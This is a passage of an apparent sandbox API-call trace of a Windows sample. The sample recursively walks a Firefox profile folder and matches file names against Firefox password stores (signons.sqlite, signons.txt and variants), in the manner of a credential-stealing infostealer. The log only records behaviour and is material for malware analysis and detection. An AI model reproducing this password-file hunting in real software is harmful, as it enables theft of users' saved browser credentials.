lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.895] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0070.895] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0070.895] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.895] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.895] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.895] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.895] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0070.895] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.895] LocalFree (hMem=0x626a88) returned 0x0 [0070.895] LocalFree (hMem=0x65b348) returned 0x0 [0070.895] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.895] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.895] lstrlenA (lpString="healthreport.sqlite") returned 19 [0070.895] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0070.895] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.895] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.895] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.895] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0070.895] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0070.895] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.895] lstrlenA (lpString="\\") returned 1 [0070.895] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.895] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.895] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.896] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.896] lstrlenA (lpString="indexedDB") returned 9 [0070.896] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.896] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.896] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.896] LocalFree (hMem=0x6275a8) returned 0x0 [0070.896] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.896] lstrlenA (lpString="\\*.*") returned 4 [0070.896] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x626a88 [0070.896] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.896] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0070.896] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0070.896] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.896] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.896] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.896] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.896] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.896] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0070.896] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0070.896] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.896] lstrlenA (lpString="\\") returned 1 [0070.896] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0070.896] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.896] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.896] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0070.896] lstrlenA (lpString="moz-safe-about+home") returned 19 [0070.896] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e448 [0070.896] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.896] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.896] LocalFree (hMem=0x65b428) returned 0x0 [0070.896] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.896] lstrlenA (lpString="\\*.*") returned 4 [0070.896] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0070.896] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.896] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0070.896] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 0x6427a8 [0070.896] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.896] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 1 [0070.896] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.896] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.896] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 1 [0070.896] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0070.896] lstrlenA (lpString=".metadata") returned 9 [0070.897] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0070.897] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0070.897] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0070.897] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 1 [0070.897] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0070.897] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0070.897] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.897] lstrlenA (lpString="\\") returned 1 [0070.897] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e540 [0070.897] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.897] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.897] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0070.897] lstrlenA (lpString="idb") returned 3 [0070.897] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e730 [0070.897] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.897] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.897] LocalFree (hMem=0x65e540) returned 0x0 [0070.897] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.897] lstrlenA (lpString="\\*.*") returned 4 [0070.897] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x626b70 [0070.897] lstrcpyA (in: lpString1=0x626b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.897] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0070.897] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 0x6427e8 [0070.897] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.897] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 1 [0070.897] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.897] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.897] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 1 [0070.897] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0070.897] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0070.897] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.897] lstrlenA (lpString="\\") returned 1 [0070.897] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e540 [0070.897] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.897] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.898] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0070.898] lstrlenA (lpString="818200132aebmoouht") returned 18 [0070.898] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x601890 [0070.898] lstrcpyA (in: lpString1=0x601890, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.898] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.898] LocalFree (hMem=0x65e540) returned 0x0 [0070.898] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0070.898] lstrlenA (lpString="\\*.*") returned 4 [0070.898] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x601998 [0070.898] lstrcpyA (in: lpString1=0x601998, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.898] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0070.898] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f30a | out: lpFindFileData=0x12f30a) returned 0x642828 [0070.898] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.898] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f30a | out: lpFindFileData=0x12f30a) returned 1 [0070.898] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.898] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.898] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f30a | out: lpFindFileData=0x12f30a) returned 0 [0070.898] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0070.898] LocalFree (hMem=0x601998) returned 0x0 [0070.898] LocalFree (hMem=0x601890) returned 0x0 [0070.898] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 1 [0070.898] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.898] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0070.898] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0070.898] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.898] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.898] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f472 | out: lpFindFileData=0x12f472) returned 0 [0070.899] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0070.899] LocalFree (hMem=0x626b70) returned 0x0 [0070.899] LocalFree (hMem=0x65e730) returned 0x0 [0070.899] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f5da | out: lpFindFileData=0x12f5da) returned 0 [0070.899] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0070.899] LocalFree (hMem=0x65e638) returned 0x0 [0070.899] LocalFree (hMem=0x65e448) returned 0x0 [0070.899] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0070.899] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.899] LocalFree (hMem=0x626a88) returned 0x0 [0070.899] LocalFree (hMem=0x65b348) returned 0x0 [0070.899] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.899] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0070.899] lstrlenA (lpString="key3.db") returned 7 [0070.899] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0070.899] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0070.899] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0070.899] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.899] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0070.899] lstrlenA (lpString="localstore.rdf") returned 14 [0070.899] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0070.899] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0070.899] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0070.899] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.899] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0070.899] lstrlenA (lpString="marionette.log") returned 14 [0070.899] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0070.899] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0070.899] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0070.899] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.899] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0070.899] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0070.899] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0070.900] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0070.900] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0070.900] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.900] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0070.900] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0070.900] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.900] lstrlenA (lpString="\\") returned 1 [0070.900] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.900] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.900] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.900] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.900] lstrlenA (lpString="minidumps") returned 9 [0070.900] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.900] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.900] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.900] LocalFree (hMem=0x6275a8) returned 0x0 [0070.900] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0070.900] lstrlenA (lpString="\\*.*") returned 4 [0070.900] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x626a88 [0070.900] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: 